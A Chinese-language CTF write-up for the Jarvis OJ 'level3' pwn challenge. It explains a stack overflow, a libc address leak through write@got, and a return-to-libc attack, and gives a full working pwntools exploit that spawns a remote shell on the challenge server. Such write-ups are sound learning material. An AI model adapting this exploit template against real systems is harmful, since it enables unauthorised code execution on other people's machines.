Pwn基础学习-泄露libc地址计算system()地址绕过ASLR

题目

Jarvis OJ-Pwn-level3

解题思路

拿到题目有两个文件:level3和libc-2.19.so
IDA看一下level3:
main函数
main
vulnerable_function函数
vulnerable_function


很明显的栈溢出,由于程序中并没有使用system函数,同时我们拿到了libc.so,可以考虑leak出write()的地址来计算system()'/bin/sh'的地址。

具体流程

泄露write函数地址

从IDA中可以看到buf的大小136字节,加上ebp,最终需要填充140字节,然后是[email protected]的地址,接着执行完write()后返回到main(),栈布局如下:
stack

计算system()和 ‘/bin/sh’地址

获取到泄露的write函数地址后,根据公式:
write_target_addr - write_libc = system_target_addr - system_libc
可以求得目标系统上system函数的地址,由于libc中带有/bin/sh,因此可用同样的方法求得sh字符串的地址。

Return-to-libc

常规的ret2libc,栈布局如下:
stack

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
elf = ELF('./level3')
libc = ELF('./libc-2.19.so')
write_plt = elf.plt['write']
main = elf.symbols['main']
write_got = elf.got['write']
libc_sh_addr = next(libc.search('/bin/sh'))
libc_sys_addr = libc.symbols['system']
libc_write_addr = libc.symbols['write']
payload = 'A' * 140
payload += p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
r = remote('pwn2.jarvisoj.com', 9879)
r.sendlineafter('Input:\n', payload)
write_addr = u32(r.recv(4))
print hex(write_addr)
sys_addr = write_addr - libc_write_addr + libc_sys_addr
sh_addr = write_addr - libc_write_addr + libc_sh_addr
payload2 = 'A'* 140
payload2 += p32(sys_addr) + 'AAAA' + p32(sh_addr)
r.sendlineafter('Input:\n', payload2)
r.interactive()